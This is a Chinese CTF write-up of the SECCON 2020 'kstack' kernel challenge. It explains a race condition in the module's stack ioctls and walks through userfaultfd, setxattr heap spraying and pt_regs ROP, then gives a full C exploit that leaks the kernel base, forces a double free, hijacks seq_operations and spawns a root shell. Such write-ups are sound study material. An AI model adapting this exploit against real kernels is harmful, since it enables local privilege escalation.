0%

userfaultfd+setxattr+pt_regs

kstack 复现

1
2
3
4
5
6
7
8
9
10
#!/bin/sh
qemu-system-x86_64 \
-m 512M \
-kernel ./bzImage \
-initrd ./rootfs.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr quiet" \
-cpu kvm64,+smep \
-net user -net nic -device e1000 \
-monitor /dev/null \
-nographic
  • kaslr,smep
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

ifup eth0 >/dev/null 2>/dev/null

echo 2 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict

chown root:root flag
chmod 400 flag
insmod /root/kstack.ko
chmod 777 /proc/stack

echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
cat /root/banner
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0 -f
  • kptr_restrict,dmesg_restrict
1
2
3
4
5
6
7
8
9
/ $ cat /sys/devices/system/cpu/vulnerabilities/*
Processor vulnerable
Mitigation: PTE Inversion
Vulnerable: Clear CPU buffers attempted, no microcode; SMT Host state unknown
Mitigation: PTI
Vulnerable
Mitigation: usercopy/swapgs barriers and __user pointer sanitization
Mitigation: Full generic retpoline, STIBP: disabled, RSB filling
Not affected
  • PTI

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pid = *(_DWORD *)(__readgsqword((unsigned int)&current_task) + 0x35C);
if ( cmd == 0x57AC0001 ) // PUSH
{
buf = (Element *)kmem_cache_alloc(kmalloc_caches[5], 0x6000C0LL);
LODWORD(buf->pid) = pid;
ptr = head;
head = buf; /* 更新头节点 */
buf->ptr = ptr; /* 把原来的头节点挂载到新头节点的后面 */
if ( !copy_from_user(&buf->value, arg, 8LL) ) /* 拷贝数据到新头节点 */
return 0LL;
head = buf->ptr; /* 拷贝失败则重置头节点 */
kfree(buf);
return 0xFFFFFFFFFFFFFFEALL;
}
  • 单向链表插头
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
  else
{
if ( cmd != 0x57AC0002 ) // POP
return 0LL;
ptr = head;
if ( !head )
return 0LL;
if ( pid == LODWORD(head->pid) ) /* 匹配对应线程组的节点 */
{
if ( !copy_to_user(arg, &head->value, 8LL) ) /* 把数据拷贝到用户态 */
{
head = ptr->ptr;
goto EINVAL;
}
}
else
{
ptr = head->ptr;
if ( ptr )
{
while ( LODWORD(ptr->pid) != pid ) /* 遍历所有线程组,直到匹配节点 */
{
if ( !ptr->ptr )
return 0xFFFFFFFFFFFFFFEALL;
ptr = ptr->ptr;
}
if ( !copy_to_user(arg, &ptr->value, 8LL) ) /* 把数据拷贝到用户态 */
{
ptr->ptr = ptr->ptr;
EINVAL:
kfree(ptr);
return 0LL;
}
}
}
  • 单向链表脱去头节点

本题目涉及多线程,但没有加锁,有条件竞争漏洞

userfaultfd

userfaultfd 是 Linux 的一个系统调用,使用户可以通过自定义的页处理程序 page fault handler 在用户态处理缺页异常

先看一个注册 userfaultfd 的案例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
void register_userfault(void * addr, unsigned long len, void (*handler)(void*))
{
pthread_t thr;
struct uffdio_api ua;
struct uffdio_register ur;
long uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); /* 生成一个userfaultfd */

ua.api = UFFD_API;
ua.features = 0;
if (ioctl(uffd, UFFDIO_API, &ua) == -1){
/* 用户空间将在UFFD上使用READ/POLLIN协议 */
errExit("ioctl-UFFDIO_API");
}

ur.range.start = (unsigned long)addr;
ur.range.len = len;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1){
/* 调用UFFDIO_REGISTER ioctl完成注册 */
errExit("ioctl-UFFDIO_REGISTER");
}

int s = pthread_create(&thr, NULL, handler, (void *)uffd); /* 启动一个用以进行轮询的线程uffd monitor,该线程会通过poll函数(Linux中的字符设备驱动中的一个函数)不断轮询直到出现缺页异常 */
if (s != 0) {
errExit("pthread_create");
}
}
  • 当有一个线程(faulting 线程)在这块内存区域内触发缺页异常时,该线程会进入到内核中处理缺页异常
  • 随后 faulting 线程进入堵塞状态,同时将一个 uffd_msg 发送给轮询线程(monitor 线程),等待其处理结束
  • monitor 线程调用通过 ioctl 处理缺页异常(调用函数指针 handler 所指向的函数)
  • 在处理结束后 monitor 线程发送信号唤醒 faulting 线程继续工作

函数 handler 的模板如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
void* handler(void *arg)
{
struct uffd_msg msg;
struct pollfd pollfd;
struct uffdio_copy uc;
int nready;

unsigned long uffd = (unsigned long)arg;

pollfd.fd = uffd;
pollfd.events = POLLIN;

nready = poll(&pollfd, 1, -1); /* 调用poll函数轮询直到出现缺页异常 */
if (nready != 1) {
errExit("[-] Wrong pool return value");
}

nready = read(uffd, &msg, sizeof(msg)); /* 通过userfaultfd读取缺页信息 */
if (nready <= 0) {
errExit("[-] msg error!!");
}

char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
errExit("[-] mmap page error!!");

memset(page, 0, sizeof(page));

/*
...... (核心功能)
*/

uc.src = (unsigned long)page;
uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);;
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;

ioctl(uffd, UFFDIO_COPY, &uc);

return NULL;
}
  • 根据实际需求不同,handler 函数可能会有所不同

setxattr

setxattr 在 kernel 中可以为我们提供近乎任意大小的内核空间 object 分配

  • 调用链如下:
1
SYS_setxattr() -> path_setxattr() -> setxattr()
  • 核心代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static long
setxattr(struct dentry *d, const char __user *name, const void __user *value,
size_t size, int flags)
{
//...
kvalue = kvmalloc(size, GFP_KERNEL); /* 分配object */
if (!kvalue)
return -ENOMEM;
if (copy_from_user(kvalue, value, size)) { /* 向内核写入内容 */

//...

kvfree(kvalue); /* 释放object */
return error;
}

那么这里 setxattr 系统调用便提供给我们这样一条调用链:

  • 在内核空间分配 object
  • 向 object 内写入内容
  • 释放分配的 object

这里的 value 和 size 都是由我们来指定的,即我们可以分配任意大小的 object 并向其中写入内容

堆占位

堆占位技术就是用 setxattr 和 userfaultfd 配合使用得来的,可以在内核空间中分配任意大小的 object 并写入任意内容

在 setxattr 的执行流程,其中会调用 copy_from_user 从用户空间拷贝数据,通过这一点可以构造出如下的利用:

  • 我们通过 mmap 分配连续的两个页面:
    • 在第二个页面上启用 userfaultfd 监视
    • 在第一个页面的末尾写入我们想要的数据
  • 此时我们调用 setxattr 进行跨页面的拷贝,当 copy_from_user 拷贝到第二个页面时便会触发 userfaultfd
  • 从而让 setxattr 的执行流程卡在此处,这样这个 object 就不会被释放掉,而是可以继续参与我们接下来的利用

堆占位一般用于 UAF 漏洞,当内核产生 UAF 堆块时,可以用堆占位技术将一个 object 放入其中,之后通过 UAF 漏洞就可以操控这个 object

pt_regs

entry_SYSCALL_64 这一用汇编写的函数内部,用如下指令:

1
PUSH_AND_CLEAR_REGS rax=$-ENOSYS
  • 将所有的寄存器压入内核栈上,形成一个 pt_regs 结构体,该结构体实质上位于内核栈底
  • pt_regs 结构体的条目如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
struct pt_regs {
/*
* C ABI says these regs are callee-preserved. They aren't saved on kernel entry
* unless syscall needs a complete, fully filled "struct pt_regs".
*/
unsigned long r15;
unsigned long r14;
unsigned long r13;
unsigned long r12;
unsigned long rbp;
unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
unsigned long r11;
unsigned long r10;
unsigned long r9;
unsigned long r8;
unsigned long rax;
unsigned long rcx;
unsigned long rdx;
unsigned long rsi;
unsigned long rdi;
/*
* On syscall entry, this is syscall#. On CPU exception, this is error code.
* On hw interrupt, it's IRQ number:
*/
unsigned long orig_rax;
/* Return frame for iretq */
unsigned long rip;
unsigned long cs;
unsigned long eflags;
unsigned long rsp;
unsigned long ss;
/* top of stack page */
};

在内核中的结构如下图:

1675218563307

在系统调用当中有很多的寄存器其实是不一定能用上的,比如 r8 ~ r15,这些寄存器为我们的 ROP 提供了可能,我们只需要寻找到一条形如 add rsp,val; ret 的 gadget 便能够完成 ROP

使用案例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
__asm__(
"mov r15, 0xbeefdead;"
"mov r14, 0xabcddcba;"
"mov r13, add_rsp_0x40_ret;" // add rsp, 0x40 ; ret
"mov r12, commit_creds;"
"mov rbp, init_cred;"
"mov rbx, pop_rdi_ret;"
"mov r11, 0x1145141919;"
"mov r10, swapgs_restore_regs_and_return_to_usermode;"
"mov r9, 0x99999999;"
"mov r8, 0x88888888;"
"xor rax, rax;"
"mov rcx, 0x666666;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;"
"syscall"
);

/*
arg#0 - seq_fd
arg#1 - rsp
syscall num - 0
返回地址
arg#2 - 8
arg#4 - 0x88888888
arg#5 - 0x99999999
arg#3 - swapgs_restore_regs_and_return_to_usermode
r11 - 0x1145141919
rbx - pop_rdi_ret
rbp - init_cred
r12 - commit_creds
r13 - add_rsp_0x40_ret
r14 - 0xabcddcba
r15 - 0xbeefdead
*/
  • 可以在调试时慢慢调整

入侵思路

首先需要绕开 kaslr,泄露内核基地址

由于本题目有条件竞争漏洞,于是我们可以在 PUSH 命令把用户态节点指针拷贝到内核之前,用另一个线程把该指针只向的数据释放掉

另外可以使用 userfaultfd 来增加条件竞争的几率:

  • 使用 PUSH 让分配线程先申请一个堆块 buf,然后在 copy_from_user 这里卡住
  • 接着执行 userfaultfd 线程,由于 copy_from_user 没有执行完毕,所以在 PUSH 中生成的 buf->value 指针没有初始化

于是我们可以事先申请一个用于泄露的 object 然后释放掉,用 PUSH 中的 kmem_cache_alloc 复用这个堆块,然后在 copy_from_user 触发 userfaultfd 线程后执行一次 POP,于是 object->value 就被输出到用户态缓存中了

程序中的 buf 使用如下结构体:

1
2
3
4
5
00000000 Element struc ; (sizeof=0x18, mappedto_3)
00000000 pid dq ?
00000008 value dq ?
00000010 ptr dq ? ; offset
00000018 Element ends
  • 成员 value 的偏移为 0x8

由于 kmem_cache_alloc(kmalloc_caches[5], 0x6000C0LL) 使用 kmallc-32,并且我们可以泄露偏移为 0x8 的指针,于是使用 shm_file_data 来作为 object:

1
2
3
4
5
6
struct shm_file_data {
int id;
struct ipc_namespace *ns;
struct file *file;
const struct vm_operations_struct *vm_ops;
};
  • 其中可以读取的 ns 域刚好指向内核 .text 段,由此我们可以泄露出内核基址

可以在通过 shmget 系统调用创建共享内存之后,使用 shmat 系统调用获得该结构体,然后通过 shmdt 我们可以释放该结构体

在 POP 时通过 copy_to_user 触发 userfaultfd,在 userfaultfd 线程中再 POP 一次,就可以构造出 Double free(使内核模块申请的 UAF 堆块被释放两次,在 kmalloc-32 当中的第一个 object 指向自身,接下来的两次分配中我们都将会获得同一个 object)

最后需要用堆占位技术来劫持 seq_operations 结构体:

1
2
3
4
5
6
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};

调用 setxattr 函数,在 copy_from_user 触发 userfaultfd 线程后,采用常规的 pt_regs 来完成 ROP

具体的步骤如下:

  • 打开 /proc/self/stat 分配大量 seq_operations 结构体做备用
  • 完成内核基地址泄露和 Double free 的构造
  • 用 mmap 分配两 page 大小的内存,在第一个 page 最后8字节写上 magic gadget
  • 打开 /proc/self/stat 使 seq_operations 结构体占用 UAF 堆块
  • 执行 setxattr,分配一个堆块复用 seq_operations 结构体,然后触发 userfaultfd
1
2
3
4
kvalue = kvmalloc(size, GFP_KERNEL); /* 分配object */
if (!kvalue)
return -ENOMEM;
if (copy_from_user(kvalue, value, size)) { /* 向内核写入内容 */
  • 最后使用 pt_regs 来完成并触发 ROP

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/xattr.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <semaphore.h>

void * kernel_base = 0xffffffff81000000;
size_t kernel_offset = 0;
size_t commit_creds = NULL;
size_t prepare_kernel_cred = NULL;
static pthread_t monitor_thread;

int dev_fd;
size_t seq_fd;
size_t seq_fd_reserve[0x100];
static char *page = NULL;
static size_t page_size;

void errExit(char * msg)
{
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
exit(EXIT_FAILURE);
}

void register_userfault(void * addr, unsigned long len, void (*handler)(void*))
{
long uffd;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
int s;

uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
errExit("userfaultfd");

uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
errExit("ioctl-UFFDIO_API");

uffdio_register.range.start = (unsigned long) addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
errExit("ioctl-UFFDIO_REGISTER");

s = pthread_create(&monitor_thread, NULL, handler, (void *) uffd);
if (s != 0)
errExit("pthread_create");
}

void* leak_handler(void *arg)
{
struct uffd_msg msg;
struct pollfd pollfd;
struct uffdio_copy uc;
int nready;

unsigned long uffd = (unsigned long)arg;

pollfd.fd = uffd;
pollfd.events = POLLIN;

nready = poll(&pollfd, 1, -1);
if (nready != 1) {
errExit("[-] Wrong pool return value");
}

nready = read(uffd, &msg, sizeof(msg));
if (nready <= 0) {
errExit("[-] msg error!!");
}

pop(&kernel_offset);
printf("[*] leak ptr: %p\n", kernel_offset);
kernel_offset -= 0xffffffff81c37bc0;
kernel_base += kernel_offset;

uc.src = (unsigned long)page;
uc.dst = (unsigned long)msg.arg.pagefault.address & ~(page_size - 1);;
uc.len = page_size;
uc.mode = 0;
uc.copy = 0;

ioctl(uffd, UFFDIO_COPY, &uc);

return NULL;
}

void* double_free_handler(void *arg)
{
struct uffd_msg msg;
struct pollfd pollfd;
struct uffdio_copy uc;
int nready;

unsigned long uffd = (unsigned long)arg;

pollfd.fd = uffd;
pollfd.events = POLLIN;

nready = poll(&pollfd, 1, -1);
if (nready != 1) {
errExit("[-] Wrong pool return value");
}

nready = read(uffd, &msg, sizeof(msg));
if (nready <= 0) {
errExit("[-] msg error!!");
}

pop(page);

uc.src = (unsigned long)page;
uc.dst = (unsigned long)msg.arg.pagefault.address & ~(page_size - 1);;
uc.len = page_size;
uc.mode = 0;
uc.copy = 0;

ioctl(uffd, UFFDIO_COPY, &uc);

return NULL;
}

size_t pop_rdi_ret = 0xffffffff81034505;
size_t xchg_rax_rdi_ret = 0xffffffff81d8df6d;
size_t mov_rdi_rax_pop_rbp_ret = 0xffffffff8121f89a;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81600a34;

void* hijack_handler(void *arg)
{
struct uffd_msg msg;
struct pollfd pollfd;
struct uffdio_copy uc;
int nready;

unsigned long uffd = (unsigned long)arg;

pollfd.fd = uffd;
pollfd.events = POLLIN;

nready = poll(&pollfd, 1, -1);
if (nready != 1) {
errExit("[-] Wrong pool return value");
}

nready = read(uffd, &msg, sizeof(msg));
if (nready <= 0) {
errExit("[-] msg error!!");
}

for (int i = 0; i < 100; i++)
close(seq_fd_reserve[i]);

pop_rdi_ret += kernel_offset;
xchg_rax_rdi_ret += kernel_offset;
mov_rdi_rax_pop_rbp_ret += kernel_offset;
prepare_kernel_cred = 0xffffffff81069e00 + kernel_offset;
commit_creds = 0xffffffff81069c10 + kernel_offset;
swapgs_restore_regs_and_return_to_usermode += kernel_offset + 0x10;
printf("[*] gadget: %p\n", swapgs_restore_regs_and_return_to_usermode);
__asm__(
"mov r15, 0xbeefdead;"
"mov r14, 0x11111111;"
"mov r13, pop_rdi_ret;"
"mov r12, 0;"
"mov rbp, prepare_kernel_cred;"
"mov rbx, mov_rdi_rax_pop_rbp_ret;"
"mov r11, 0x66666666;"
"mov r10, commit_creds;"
"mov r9, swapgs_restore_regs_and_return_to_usermode;"
"mov r8, 0x99999999;"
"xor rax, rax;"
"mov rcx, 0xaaaaaaaa;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;"
"syscall"
);
printf("[+] uid: %d gid: %d\n", getuid(), getgid());
system("/bin/sh");

uc.src = (unsigned long)page;
uc.dst = (unsigned long)msg.arg.pagefault.address & ~(page_size - 1);;
uc.len = page_size;
uc.mode = 0;
uc.copy = 0;

ioctl(uffd, UFFDIO_COPY, &uc);

return NULL;
}

void push(char *data)
{
if (ioctl(dev_fd, 0x57AC0001, data) < 0)
errExit("push!");
}

void pop(char *data)
{
if (ioctl(dev_fd, 0x57AC0002, data) < 0)
errExit("pop!");
}

int main(int argc, char **argv, char **envp)
{
size_t data[0x10];
char *uffd_buf_leak;
char *uffd_buf_uaf;
char *uffd_buf_hack;
int pipe_fd[2];
int shm_id;
char *shm_addr;

dev_fd = open("/proc/stack", O_RDONLY);

page = malloc(0x1000);
page_size = sysconf(_SC_PAGE_SIZE);

for (int i = 0; i < 100; i++)
if ((seq_fd_reserve[i] = open("/proc/self/stat", O_RDONLY)) < 0)
errExit("seq reserve!");

uffd_buf_leak = (char*) mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
register_userfault(uffd_buf_leak, page_size, leak_handler);

shm_id = shmget(114514, 0x1000, SHM_R | SHM_W | IPC_CREAT);
if (shm_id < 0)
errExit("shmget!");
shm_addr = shmat(shm_id, NULL, 0);
if (shm_addr < 0)
errExit("shmat!");
if(shmdt(shm_addr) < 0)
errExit("shmdt!");

push(uffd_buf_leak);
printf("[+] kernel offset: %p\n", kernel_offset);
printf("[+] kernel base: %p\n", kernel_base);

uffd_buf_uaf = (char*) mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
register_userfault(uffd_buf_uaf, page_size, double_free_handler);

push("name");
pop(uffd_buf_uaf);

uffd_buf_hack = (char*) mmap(NULL, page_size * 2, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
register_userfault(uffd_buf_hack + page_size, page_size, hijack_handler);
printf("[*] gadget: %p\n", 0xffffffff814d51c0 + kernel_offset);
*(size_t *)(uffd_buf_hack + page_size - 8) = 0xffffffff814d51c0 + kernel_offset; // add rsp , 0x1c8 ; pop rbx ; pop r12 ; pop r13 ; pop r14 ; pop r15; pop rbp ; ret

seq_fd = open("/proc/self/stat", O_RDONLY);
setxattr("/exp", "name", uffd_buf_hack + page_size - 8, 32, 0);
}

小结:

多谢大佬的博客:从 SECCON2020 一道 kernel pwn 看 userfaultfd + setxattr “堆占位”技术

学到了不少东西,但对 pt_regs 还不太熟悉